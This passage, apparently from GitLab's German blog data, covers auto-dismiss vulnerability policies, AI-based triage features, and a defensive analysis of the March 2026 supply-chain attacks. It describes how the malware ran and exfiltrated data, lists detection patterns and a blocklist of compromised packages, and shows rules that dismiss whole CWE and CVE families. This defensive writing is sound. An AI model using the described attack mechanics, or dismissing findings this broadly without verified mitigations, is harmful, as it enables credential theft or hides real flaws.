über **Secure > Policies > New policy > Vulnerability management policy** erstellen. Nach dem Merge des MR ist sie aktiv.\n\n3. **Pipeline ausführen**: Bei jeder Pipeline des Standard-Branches werden übereinstimmende Schwachstellen automatisch auf „Dismissed\" gesetzt und mit dem festgelegten Grund versehen. Pro Ausführung werden bis zu 1.000 Schwachstellen verarbeitet.\n\n4. **Ergebnis prüfen**: Den Vulnerability-Report nach Status „Dismissed\" filtern – so lässt sich nachvollziehen, welche Findings bereinigt wurden und ob die richtigen Einträge erfasst werden.\n\n## Anwendungsfälle mit einsatzbereiten Konfigurationen\n\nJedes Beispiel enthält eine Richtlinienkonfiguration, die direkt kopiert, angepasst und eingesetzt werden kann.\n\n### 1. Schwachstellen in Testcode abweisen\n\nSAST- und Dependency-Scanner melden hartcodierte Zugangsdaten, unsichere Fixtures und entwicklungsspezifische Abhängigkeiten in Testverzeichnissen. Diese stellen kein Produktionsrisiko dar.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss test code vulnerabilities\"\n    description: \"Auto-dismiss findings in test directories\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"test/**/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"tests/**/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"spec/**/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"__tests__/*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: used_in_tests\n\n```\n\n### 2. Eingebetteten und Drittanbieter-Code abweisen\n\nSchwachstellen in `vendor/`, `third_party/` oder eingecheckten `node_modules` werden upstream verwaltet und sind für das eigene Team nicht direkt behebbar.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss vendored dependency findings\"\n    description: \"Findings in vendored code are managed upstream\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"vendor/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"third_party/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"vendored/*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: not_applicable\n\n```\n\n### 3. Falsch-Positiv-CVEs abweisen\n\nBestimmte CVEs werden wiederholt gemeldet, gelten im eigenen Nutzungskontext aber als nicht zutreffend. Bisher wurden diese bei jedem Auftreten manuell abgewiesen. Die Beispiel-CVEs unten durch eigene ersetzen.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss known false positive CVEs\"\n    description: \"CVEs confirmed as false positives for our environment\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2023-44487\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2024-29041\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2023-26136\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: false_positive\n\n```\n\n### 4. Generierten und automatisch erstellten Code abweisen\n\nProtobuf-, gRPC-, OpenAPI-Generatoren und ORM-Scaffolding-Tools erzeugen Dateien mit gemeldeten Mustern, die vom eigenen Team nicht gepatcht werden können.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss generated code findings\"\n    description: \"Generated files are not authored by us\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"generated/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"**/*.pb.go\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"**/*.generated.*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: not_applicable\n\n```\n\n### 5. Durch Infrastruktur abgemilderte Schwachstellen abweisen\n\nSchwachstellenklassen wie XSS (CWE-79) oder SQL-Injection (CWE-89), die durch WAF-Regeln oder Laufzeitschutz bereits adressiert sind. Diese Konfiguration nur einsetzen, wenn die abmildernden Kontrollen nachweislich vorhanden und durchgängig durchgesetzt sind – eine lückenhafte Durchsetzung macht die Abweisung ungültig.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss CWEs mitigated by WAF\"\n    description: \"XSS and SQLi mitigated by WAF rules\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CWE-79\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CWE-89\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: mitigating_control\n\n```\n\n### 6. CVE-Familien organisationsweit abweisen\n\nBei einer Welle verwandter CVEs für eine weit verbreitete Bibliothek, die das Team bereits bewertet hat: Richtlinie auf Gruppenebene anwenden und über Dutzende Projekte hinweg abweisen. Das Wildcard-Muster (z. B. `CVE-2021-44*`) erfasst alle CVEs mit diesem Präfix.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Accept risk for log4j CVE family\"\n    description: \"Log4j CVEs mitigated by version pinning and WAF\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2021-44*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: acceptable_risk\n\n```\n\n## Kurzübersicht\n\n| Parameter | Details |\n|-----------|---------|\n| **Kriterientypen** | `file_path` (Glob-Muster, z. B. `test/**/*`), `directory` (z. B. `vendor/*`), `identifier` (CVE/CWE mit Wildcards, z. B. `CVE-2023-*`) |\n| **Abweisungsgründe** | `acceptable_risk`, `false_positive`, `mitigating_control`, `used_in_tests`, `not_applicable` |\n| **Kriterienlogik** | Mehrere Kriterien innerhalb einer Regel = UND (alle müssen zutreffen). Mehrere Regeln innerhalb einer Richtlinie = ODER (eine reicht). |\n| **Limits** | 3 Kriterien pro Regel, 5 Regeln pro Richtlinie, 5 Richtlinien pro Security-Policy-Projekt. Vulnerability-Management-Richtlinien verarbeiten pro Pipeline-Ausführung bis zu 1.000 Schwachstellen im Zielprojekt. |\n| **Betroffene Status** | Needs triage, Confirmed |\n| **Geltungsbereich** | Projektebene oder Gruppenebene (Gruppenebene gilt für alle enthaltenen Projekte) |\n\n## Erste Schritte\n\nSo lassen sich Auto-Dismiss-Richtlinien einrichten:\n\n1. **Rauschen identifizieren**: Den Vulnerability-Report öffnen und nach „Needs triage\" sortieren. Nach Mustern suchen: Testdateien, eingebetteter Code, CVEs, die in mehreren Projekten wiederholt auftauchen.\n\n2. **Anwendungsfall auswählen**: Mit dem Anwendungsfall beginnen, der die meisten Findings abdeckt.\n\n3. **Ausgangslage festhalten**: Anzahl der Schwachstellen mit Status „Needs triage\" vor Erstellung der Richtlinie notieren.\n\n4. **Erstellen und aktivieren**: Über **Secure > Policies > New policy > Vulnerability management policy** navigieren. Konfiguration aus dem gewählten Anwendungsfall einfügen, dann MR mergen.\n\n5. **Ergebnis validieren**: Nach der nächsten Pipeline des Standard-Branches den Report nach Status „Dismissed\" filtern und prüfen, ob die erwarteten Findings erfasst wurden.\n\nVollständige Konfigurationsdetails in der [Dokumentation zu Vulnerability-Management-Richtlinien](https://docs.gitlab.com/user/application_security/policies/vulnerability_management_policy/#auto-dismiss-policies).\n\n> [GitLab Ultimate kostenlos testen](https://about.gitlab.com/de-de/free-trial/) und erste Auto-Dismiss-Richtlinie konfigurieren.\n",{"slug":1204,"featured":13,"template":836},"auto-dismiss-vulnerability-management-policy",{"content":1206,"config":1214},{"title":1207,"description":1208,"authors":1209,"heroImage":834,"date":1211,"body":1212,"category":798,"tags":1213},"GitLab 18.10 bringt KI-native Triage und Behebung","Erfahre mehr über die Funktionen von GitLab Duo Agent Platform, die Rauschen reduzieren, echte Schwachstellen identifizieren und Ergebnisse in Lösungsvorschläge umwandeln.",[1210],"Alisa Ho","2026-03-19","GitLab 18.10 führt neue KI-basierte Sicherheitsfunktionen ein, die auf die Verbesserung der Qualität und Geschwindigkeit des Schwachstellenmanagements ausgerichtet sind. Zusammen tragen diese Funktionen dazu bei, den Zeitaufwand für die Untersuchung von False Positives zu reduzieren und automatisierte Abhilfe direkt in den Workflow zu integrieren – so lassen sich Schwachstellen auch ohne tiefgreifende Sicherheitsexpertise beheben.\n\nDas ist neu:\n\n* [**Erkennung von False Positives bei statischen Anwendungssicherheitstests (SAST)**](https://docs.gitlab.com/user/application_security/vulnerabilities/false_positive_detection/) **ist jetzt allgemein verfügbar.** Dieser Flow nutzt ein LLM für agentisches Reasoning, um die Wahrscheinlichkeit zu bestimmen, ob eine Schwachstelle ein False Positive ist oder nicht. So können sich Sicherheits- und Entwicklungsteams zuerst auf die Behebung kritischer Schwachstellen konzentrieren.\n* [**Agentische SAST-Schwachstellenbehebung**](https://docs.gitlab.com/user/application_security/vulnerabilities/agentic_vulnerability_resolution/) **ist jetzt als Beta verfügbar.** Die agentische SAST-Schwachstellenbehebung erstellt automatisch einen Merge Request mit einem Lösungsvorschlag für verifizierte SAST-Schwachstellen. Das verkürzt die Zeit bis zur Behebung und reduziert den Bedarf an tiefgreifender Sicherheitsexpertise.\n* [**Erkennung von False Positives bei Geheimnissen**](https://docs.gitlab.com/user/application_security/vulnerabilities/secret_false_positive_detection/) **ist jetzt als Beta verfügbar.** Dieser Flow bringt die gleiche KI-basierte Rauschreduzierung in die Erkennung von Geheimnissen und kennzeichnet Dummy- und Test-Geheimnisse, um den Prüfaufwand zu verringern.\n\nDiese Flows stehen Kund(inn)en von GitLab Ultimate zur Verfügung, die GitLab Duo Agent Platform nutzen.\n\n## Triage-Zeit mit SAST-False-Positive-Erkennung verkürzen\n\nHerkömmliche SAST-Scanner kennzeichnen jedes verdächtige Codemuster, das sie finden – unabhängig davon, ob Codepfade erreichbar sind oder Frameworks das Risiko bereits abfangen. Ohne Laufzeitkontext können sie eine echte Schwachstelle nicht von sicherem Code unterscheiden, der lediglich gefährlich aussieht.\n\nDas bedeutet, dass Entwickler(innen) möglicherweise Stunden damit verbringen, Ergebnisse zu untersuchen, die sich als False Positives herausstellen. Mit der Zeit kann das das Vertrauen in den Bericht untergraben und die Teams verlangsamen, die für die Behebung echter Risiken verantwortlich sind.\n\nNach jedem SAST-Scan analysiert GitLab Duo Agent Platform automatisch neue kritische und hochgradig schwerwiegende Ergebnisse und fügt Folgendes hinzu:\n\n* Einen Konfidenzwert, der angibt, wie wahrscheinlich es ist, dass das Ergebnis ein False Positive ist\n* Eine KI-generierte Erklärung mit der Begründung\n* Ein visuelles Badge, das „Wahrscheinlich False Positive“ und „Wahrscheinlich echt“ in der UI leicht erkennbar macht\n\nDiese Ergebnisse erscheinen im [Sicherheitslückenbericht](https://docs.gitlab.com/user/application_security/vulnerability_report/), wie unten dargestellt. Der Bericht lässt sich filtern, um sich auf Ergebnisse zu konzentrieren, die als „Kein False Positive“ markiert sind. So können Teams ihre Zeit für die Behebung echter Schwachstellen nutzen, anstatt Rauschen zu sichten.\n\n![Sicherheitslückenbericht](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773844787/i0eod01p7gawflllkgsr.png)\n\n\nDie Bewertung von GitLab Duo Agent Platform ist eine Empfehlung. Die Kontrolle über jedes False Positive bleibt erhalten, und die Begründung des Agenten kann jederzeit überprüft werden, um Vertrauen in das Modell aufzubauen.\n\n\n## Schwachstellen in automatisierte Fixes umwandeln\n\nZu wissen, dass eine Schwachstelle echt ist, ist nur die halbe Arbeit. Die Behebung erfordert weiterhin das Verständnis des Codepfads, das Schreiben eines sicheren Patches und die Sicherstellung, dass nichts anderes beeinträchtigt wird.\n\nWenn die Schwachstelle durch den SAST-False-Positive-Erkennungsflow als wahrscheinlich kein False Positive identifiziert wird, führt der agentische SAST-Schwachstellenbehebungsflow automatisch folgende Schritte aus:\n\n1. Liest den anfälligen Code und den umgebenden Kontext aus dem Repository\n2. Generiert hochwertige Lösungsvorschläge\n3. Validiert die Fixes durch automatisierte Tests\n4. Öffnet einen Merge Request mit einem Lösungsvorschlag, der Folgendes enthält:\n   * Konkrete Codeänderungen\n   * Einen Konfidenzwert\n   * Eine Erklärung, was geändert wurde und warum\n\nIn dieser Demo siehst du, wie GitLab eine SAST-Schwachstelle automatisch vom Erkennen bis hin zu einem prüfbereiten Merge Request verarbeiten kann. Beobachte, wie der Agent den Code liest, einen Fix generiert und validiert und einen MR mit klaren, nachvollziehbaren Änderungen öffnet – damit Entwickler(innen) schneller beheben können, ohne Sicherheitsexpert(inn)en sein zu müssen.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1174573325?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab 18.10 AI SAST False Positive Auto Remediation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\nWie bei jedem KI-generierten Vorschlag sollte der vorgeschlagene Merge Request vor dem Zusammenführen sorgfältig geprüft werden.\n\n## Echte Geheimnisse identifizieren\n\nDie Erkennung von Geheimnissen ist nur dann nützlich, wenn Teams den Ergebnissen vertrauen. Wenn Berichte voller Test-Zugangsdaten, Platzhalterwerte und Beispiel-Token sind, verschwenden Entwickler(innen) möglicherweise Zeit mit der Überprüfung von Rauschen, anstatt echte Sicherheitslücken zu beheben. Das kann die Behebung verlangsamen und das Vertrauen in den Scan verringern.\n\nDie False-Positive-Erkennung bei Geheimnissen hilft Teams, sich auf die relevanten Geheimnisse zu konzentrieren und Risiken schneller zu reduzieren. Bei der Ausführung auf dem Standard-Branch werden automatisch folgende Schritte durchgeführt:\n\n1. Jedes Ergebnis wird analysiert, um wahrscheinliche Test-Zugangsdaten, Beispielwerte und Dummy-Geheimnisse zu identifizieren\n2. Ein Konfidenzwert wird zugewiesen, ob das Ergebnis ein echtes Risiko oder wahrscheinlich ein False Positive ist\n3. Eine Erklärung wird generiert, warum das Geheimnis als echt oder als Rauschen eingestuft wird\n4. Ein Badge wird im Sicherheitslückenbericht hinzugefügt, damit Entwickler(innen) den Status auf einen Blick erkennen können\n\nEntwickler(innen) können diese Analyse auch manuell über den Sicherheitslückenbericht auslösen, indem sie bei einem Ergebnis der Geheimniserkennung **„Auf False Positive prüfen“** auswählen. So lassen sich Ergebnisse ohne Risiko aussortieren und echte Geheimnisse schneller adressieren.\n\n## KI-basierte Sicherheit jetzt testen\n\nGitLab 18.10 führt Funktionen ein, die den gesamten Schwachstellen-Workflow abdecken – von der Reduzierung von False-Positive-Rauschen bei SAST und der Erkennung von Geheimnissen bis hin zur automatischen Generierung von Merge Requests mit Lösungsvorschlägen.\n\nUm zu erfahren, wie KI-basierte Sicherheit die Prüfzeit verkürzen und Ergebnisse in zusammenführbare Fixes umwandeln kann, [starte jetzt eine kostenlose Testversion von GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/).",[786,798,828],{"featured":687,"template":836,"slug":1215},"gitlab-18-10-brings-ai-native-triage-and-remediation",{"category":812,"slug":810,"posts":1217},[1218,1229,1242],{"content":1219,"config":1227},{"body":1220,"title":1221,"description":1222,"category":810,"tags":1223,"authors":1224,"heroImage":1225,"date":1226},"\n***Hinweis: Das GitLab-Produkt hat keine der in diesem Beitrag genannten kompromittierten Paketversionen verwendet.***\n\n\nInnerhalb von 12 Tagen haben vier separate Supply-Chain-Angriffe gezeigt, dass CI/CD-Pipelines zu einem bevorzugten Ziel für versierte Bedrohungsakteure geworden sind.\n\n\nZwischen dem 19. und 31. März 2026 kompromittierten Angreifer:\n\n\n* einen Open-Source-Security-Scanner (Trivy)\n\n* einen Infrastructure-as-Code-Scanner (Checkmarx KICS)\n\n* ein AI-Model-Gateway (LiteLLM)\n\n* einen JavaScript-HTTP-Client (axios)\n\n\nAlle Angriffe teilten dieselbe Angriffsfläche: die Build-Pipeline.\n\nDieser Artikel zeigt, [was passiert ist](#trusted-by-millions-compromised-in-minutes), [warum Pipelines besonders anfällig sein können](#the-patterns-behind-these-attacks) und wie zentrale Policy-Durchsetzung mit GitLab – mithilfe der unten beschriebenen Policies – diese Angriffsklassen [blockieren, erkennen und eindämmen](#how-gitlab-pipeline-execution-policies-address-each-attack-pattern) kann, bevor sie die Produktion erreichen.\n\n\n\n## Millionenfach vertraut, in Minuten kompromittiert\n\n\nHier die Zeitleiste der Supply-Chain-Angriffe:\n\n\n### 19. März: Trivy-Security-Scanner wird zum Angriffsvektor\n\n\n[Trivy](https://github.com/aquasecurity/trivy) ist einer der weltweit am häufigsten eingesetzten Open-Source-Vulnerability-Scanner. Es ist das Tool, das Teams *innerhalb ihrer Pipelines* ausführen, um Schwachstellen zu finden.\n\n\nAm 19. März nutzte eine Bedrohungsgruppe namens [TeamPCP kompromittierte Zugangsdaten](https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/), um Schadcode per Force-Push in 76 von 77 Versions-Tags der GitHub Action `aquasecurity/trivy-action` sowie alle 7 Tags von `aquasecurity/setup-trivy` einzuschleusen. Gleichzeitig veröffentlichten sie ein trojanisiertes Trivy-Binary (v0.69.4) über offizielle Distributionskanäle. Die Payload war eine Credential-Stealing-Malware, die Umgebungsvariablen, Cloud-Tokens, SSH-Schlüssel und CI/CD-Secrets aus jeder Pipeline exfiltrierte, die einen Trivy-Scan ausführte.\n\n\nDem Vorfall wurde [CVE-2026-33634](https://nvd.nist.gov/vuln/detail/CVE-2026-33634) mit einem CVSS-Score von 9,4 zugewiesen. Die Cybersecurity and Infrastructure Security Agency (CISA) nahm ihn innerhalb weniger Tage in den Katalog der bekannten ausgenutzten Schwachstellen auf.\n\n\n### 23. März: Checkmarx KICS als nächstes Ziel\n\nMit gestohlenen Zugangsdaten wandte sich TeamPCP dem Open-Source-Projekt KICS (Keeping Infrastructure as Code Secure) von Checkmarx zu. Sie kompromittierten die GitHub Actions `ast-github-action` und `kics-github-action` und [schleusten dieselbe Credential-Stealing-Malware ein](https://thehackernews.com/2026/03/teampcp-hacks-checkmarx-github-actions.html). Zwischen 12:58 und 16:50 UTC am 23. März exfiltrierte jede CI/CD-Pipeline, die diese Actions referenzierte, im Hintergrund sensible Daten – darunter API-Schlüssel, Datenbankpasswörter, Cloud-Access-Tokens, SSH-Schlüssel und Service-Account-Zugangsdaten.\n\n\n### 24. März: LiteLLM über gestohlene Trivy-Zugangsdaten kompromittiert\n\n\nLiteLLM, ein LLM-API-Proxy mit 95 Millionen monatlichen Downloads, war das nächste Ziel. TeamPCP [veröffentlichte kompromittierte Versionen](https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html) (1.82.7 und 1.82.8) auf PyPI – mithilfe von Zugangsdaten, die aus LiteLLMs eigener CI/CD-Pipeline erbeutet wurden, in der Trivy zum Scannen eingesetzt wurde.\n\n\nDie Malware in Version 1.82.7 nutzte eine Base64-kodierte Payload, die direkt in `litellm/proxy/proxy_server.py` injiziert wurde und beim Import ausgeführt wurde. Die Version für 1.82.8 verwendete eine `.pth`-Datei – ein Python-Mechanismus, der automatisch beim Interpreter-Start ausgeführt wird. Allein die Installation von LiteLLM reichte aus, um die Payload auszulösen. Die Angreifer verschlüsselten die erbeuteten Daten (SSH-Schlüssel, Cloud-Tokens, .env-Dateien, Kryptowährungs-Wallets) und exfiltrierten sie an `models.litellm.cloud`, eine Lookalike-Domain.\n\n\n### 31. März: Quellcode eines AI-Coding-Assistenten durch einfachen Packaging-Fehler geleakt\n\nWährend die TeamPCP-Kampagne noch andauerte, lieferte ein Softwareunternehmen ein npm-Paket mit einer 59,8 MB großen Source-Map-Datei aus – die den vollständigen, unminifizierten TypeScript-Quellcode seines AI-Coding-Assistenten referenzierte, gehostet im eigenen Cloudflare-R2-Bucket des Unternehmens.\n\n\nDas Leak legte 1.900 TypeScript-Dateien, über 512.000 Codezeilen, 44 versteckte Feature-Flags, unveröffentlichte Modell-Codenamen und den vollständigen System-Prompt offen – für jeden, der wusste, wo er suchen musste. Wie der Entwickler [Gabriel Anhaia erklärte](https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo): „Eine einzige falsch konfigurierte .npmignore- oder files-Angabe in der package.json kann alles offenlegen.\"\n\n### 31. März: axios und ein weiterer Trojaner in der Supply Chain\n\nAm selben Tag zielte eine weitere Kampagne [auf das npm-Paket axios](https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html) – einen JavaScript-HTTP-Client mit über 100 Millionen wöchentlichen Downloads.\n\n\nÜber ein kompromittiertes Maintainer-Konto wurden manipulierte Versionen (1.14.1 und 0.30.4) veröffentlicht. Eine eingeschleuste Dependency (`plain-crypto-js@4.2.1`) installierte einen Remote-Access-Trojaner, der unter macOS, Windows und Linux lauffähig war. Beide Release-Branches wurden innerhalb von 39 Minuten getroffen, und die Malware war so konzipiert, dass sie sich nach der Ausführung selbst löschte.\n\n\n## Die Muster hinter diesen Angriffen\n\n\nÜber alle fünf Vorfälle hinweg zeichnen sich drei Angriffsmuster ab – und alle nutzen das implizite Vertrauen aus, das CI/CD-Pipelines ihren Eingaben entgegenbringen.\n\n\n### Muster 1: Vergiftete Tools und Actions\n\n\nDie TeamPCP-Kampagne nutzte eine grundlegende Annahme aus: dass die Sicherheitstools, die *innerhalb* der Pipeline laufen, selbst vertrauenswürdig sind. Wenn ein GitHub-Action-Tag oder eine PyPI-Paketversion auf Schadcode verweist, führt die Pipeline diesen mit vollem Zugriff auf Umgebungs-Secrets, Cloud-Zugangsdaten und Deployment-Tokens aus. Es gibt keinen Verifizierungsschritt, weil die Pipeline dem Tag vertraut.\n\n\n**Empfohlene Pipeline-Kontrolle:** Tools und Actions an unveränderliche Referenzen (Commit-SHAs oder Image-Digests) pinnen statt an veränderliche Versions-Tags. Wo Pinning nicht praktikabel ist, die Integrität von Tools und Dependencies gegen bekannte Prüfsummen oder Signaturen verifizieren. Die Ausführung blockieren, wenn die Verifizierung fehlschlägt.\n\n\n### Muster 2: Packaging-Fehlkonfigurationen, die IP leaken\n\n\nEine fehlkonfigurierte Build-Pipeline lieferte Debugging-Artefakte direkt im Produktionspaket aus. Eine falsch konfigurierte `.npmignore`- oder files-Angabe in der package.json reicht dafür aus. Ein Validierungsschritt vor der Veröffentlichung sollte das jedes Mal abfangen.\n\n\n**Empfohlene Pipeline-Kontrolle:** Vor jeder Paketveröffentlichung automatisierte Prüfungen ausführen, die den Paketinhalt gegen eine Allowlist validieren, unerwartete Dateien (Source Maps, interne Konfigurationen, .env-Dateien) kennzeichnen und den Publish-Schritt blockieren, wenn die Prüfungen fehlschlagen.\n\n\n### Muster 3: Schwachstellen in transitiven Dependencies\n\n\nDer axios-Angriff zielte nicht nur auf direkte axios-Nutzer, sondern auf jeden, dessen Dependency-Tree auf die kompromittierte Version auflöste. Eine einzige vergiftete Dependency in einem Lockfile kann sich so über die gesamte Build-Infrastruktur einer Organisation ausbreiten.\n\n\n**Empfohlene Pipeline-Kontrolle:** Dependency-Prüfsummen gegen den bekannten Lockfile-Stand vergleichen. Unerwartete neue Dependencies oder Versionsänderungen erkennen. Builds blockieren, die nicht verifizierte Pakete einführen.\n\n\n## Wie GitLab Pipeline Execution Policies jedes Angriffsmuster adressieren\n\n\nGitLab Pipeline Execution Policies ([PEPs](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/)) ermöglichen es Security- und Plattformteams, verpflichtende CI/CD-Jobs in jede Pipeline einer Organisation einzufügen – unabhängig davon, was in der `.gitlab-ci.yml` definiert ist. Durch PEPs definierte Jobs können nicht übersprungen werden, auch nicht mit den Direktiven `[skip ci]` oder `[no_pipeline]`. Jobs können in *reservierten* Stages (`.pipeline-policy-pre` und `.pipeline-policy-post`) ausgeführt werden, die die Pipeline des Entwicklungsteams einrahmen.\n\n\nWir haben einsatzbereite Pipeline Execution Policies für alle drei Muster als Open-Source-Projekt veröffentlicht: [Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies). Diese Policies sind unabhängig voneinander deploybar, und jede wird mit Testdaten für Verstöße ausgeliefert, um sie vorab zu testen. So funktioniert jede einzelne.\n\n\n### Use Case 1: Versehentliche Offenlegung beim Package-Publishing verhindern\n\n\n**Problem:** Eine Source-Map-Datei landete im npm-Paket eines AI-Coding-Tools, weil die Build-Pipeline die Validierung beim Publishing übersprungen hatte.\n\n\n**PEP-Ansatz:** Wir haben eine Open-Source Pipeline Execution Policy für genau diese Fehlerklasse erstellt: [Artifact Hygiene](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/artifact-hygiene.gitlab-ci.yml?ref_type=heads).\n\n\nDie Policy injiziert `.pipeline-policy-pre`-Jobs, die den Artefakttyp (npm-Paket, Docker-Image oder Helm-Chart) automatisch erkennen und den Inhalt prüfen, bevor ein Publish-Schritt ausgeführt wird. Für npm-Pakete führt sie drei Prüfungen durch:\n\n\n1. **File-Pattern-Blocklist.** Scannt die npm-pack-Ausgabe nach Source Maps (.map), Testverzeichnissen, Build-Konfigurationen, IDE-Einstellungen und src/-Verzeichnissen.\n\n\n2. **Package-Size-Gate.** Blockiert Pakete über 50 MB – wie das 59,8-MB-Paket, das den AI-Tool-Quellcode leakte.\n\n\n3. **sourceMappingURL-Scan.** Erkennt externe URLs (das R2-Bucket-Muster, das den Quellcode eines großen AI-Unternehmens offenlegte), Inline-data:-URIs und lokale Dateireferenzen in JavaScript-Bundles.\n\n\nWenn Verstöße gefunden werden, schlägt die Pipeline mit einem klaren Bericht in den CI-Job-Logs fehl:\n\n```text\n=============================================\nFAILED: 3 violation(s) found\n=============================================\nBLOCKED: dist/index.js.map (matched: \\.map$)\nBLOCKED: dist/index.js contains external sourceMappingURL\nBLOCKED: dist/utils.js contains inline sourceMappingURL\n\nThis check is enforced by a Pipeline Execution Policy.\nIf this is a false positive, contact the security team to update the policy project or exclude this project.\n```\n\nDie Policy hat keine vom Nutzer konfigurierbaren CI-Variablen. Das Entwicklungsteam kann sie weder deaktivieren noch umgehen. Ausnahmen werden vom Security-Team auf Policy-Ebene verwaltet – das gewährleistet einen bewussten Prozess und einen lückenlosen Audit-Trail.\n\n\nDas Repository enthält ein Testprojekt mit absichtlichen Verstößen (examples/leaky-npm-package/), um die Policy in Aktion zu sehen, bevor sie in der Organisation ausgerollt wird. Die [README](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/README.md) enthält eine vollständige Schnellstart-Anleitung für Einrichtung und Deployment.\n\n\n**Was das abfängt:** Jede einzelne dieser Kontrollen hätte das Source-Code-Leak des AI-Unternehmens wahrscheinlich verhindert:\n\n\n* Die Source-Map-Datei löst die File-Pattern-Blocklist aus.\n\n* Die Größe von 59,8 MB löst das Size-Gate aus.\n\n* Die sourceMappingURL mit Verweis auf einen externen R2-Bucket löst den URL-Scan aus.\n\n\n### Use Case 2: Dependency-Tampering und Lockfile-Manipulation erkennen\n\n\n**Problem:** Der axios-Angriff führte eine bösartige transitive Dependency (`plain-crypto-js`) ein, die bei der Installation einen RAT ausführte. Jeder, der während des Kompromittierungsfensters `npm install` ausführte, zog den Trojaner mit.\n\n\n**PEP-Ansatz:** Die [Dependency Integrity Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/dependency-integrity.gitlab-ci.yml) injiziert .pipeline-policy-pre-Jobs, die das Paket-Ökosystem (npm oder Python) automatisch erkennen und drei Prüfungen durchführen:\n\n\n**Für npm-Projekte** (ausgelöst durch `package-lock.json`, `yarn.lock` oder `pnpm-lock.yaml`):\n\n\n1. **Lockfile-Integrität.** Führt `npm ci --ignore-scripts` aus, was fehlschlägt, wenn sich `node_modules` vom Lockfile-Stand unterscheiden würden. Dies erkennt Fälle, in denen die package.json aktualisiert, aber das Lockfile nicht neu generiert wurde, und verifiziert gleichzeitig SRI-Integritäts-Hashes.\n\n2. **Blocked-Package-Scan.** Gleicht den vollständigen Dependency-Tree des Lockfiles mit `blocked-packages.yml` ab – einer von GitLab gepflegten Liste bekannter kompromittierter Paketversionen. Die mitgelieferte Blocklist enthält `axios@1.14.1`, `axios@0.30.4` und `plain-crypto-js@4.2.1`.\n\n3. **Erkennung nicht deklarierter Dependencies.** Vergleicht nach der Installation den Inhalt von node_modules mit dem Lockfile. Jedes Paket, das auf der Festplatte vorhanden, aber nicht im Lockfile aufgeführt ist, deutet auf Manipulation hin (z. B. ein kompromittiertes postinstall-Skript, das zusätzliche Pakete nachlädt).\n\n\n**Für Python-Projekte** (ausgelöst durch `requirements.txt`, `Pipfile.lock`, `poetry.lock` oder `uv.lock`):\n\n\n1. **Lockfile-Integrität.** Installation in einer isolierten virtuellen Umgebung mit Verifizierung, dass die Installation aus dem Lockfile erfolgreich ist.\n\n2. **Blocked-Package-Scan.** Derselbe Blocklist-Ansatz. Die mitgelieferte Liste enthält `litellm==1.82.7` und `litellm==1.82.8`.\n\n3. **.pth-Datei-Erkennung.** Scannt site-packages nach `.pth`-Dateien, die ausführbare Code-Muster enthalten (`import os`, `exec(`, `eval(`, `__import__`, `subprocess`, `socket`). Genau diesen Mechanismus nutzte die LiteLLM-Backdoor.\n\n\nBei einem erkannten Verstoß:\n\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: axios@1.14.1 is a known-compromised package\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\n\nDie Policy läuft im *Strict Mode*: Jede Dependency, die nicht im committeten Lockfile vorhanden ist, blockiert die Pipeline. Wenn eine neue Dependency hinzugefügt werden soll, wird das aktualisierte Lockfile committet. Die Policy verifiziert, dass die installierte Version mit der committeten Version übereinstimmt. Wenn etwas auftaucht, das nicht committet wurde (z. B. eine transitive Dependency, die über ein kompromittiertes Upstream-Paket injiziert wurde), blockiert die Pipeline.\n\n\n**Was das abfängt:** Die Einführung von `plain-crypto-js` als neue, bisher 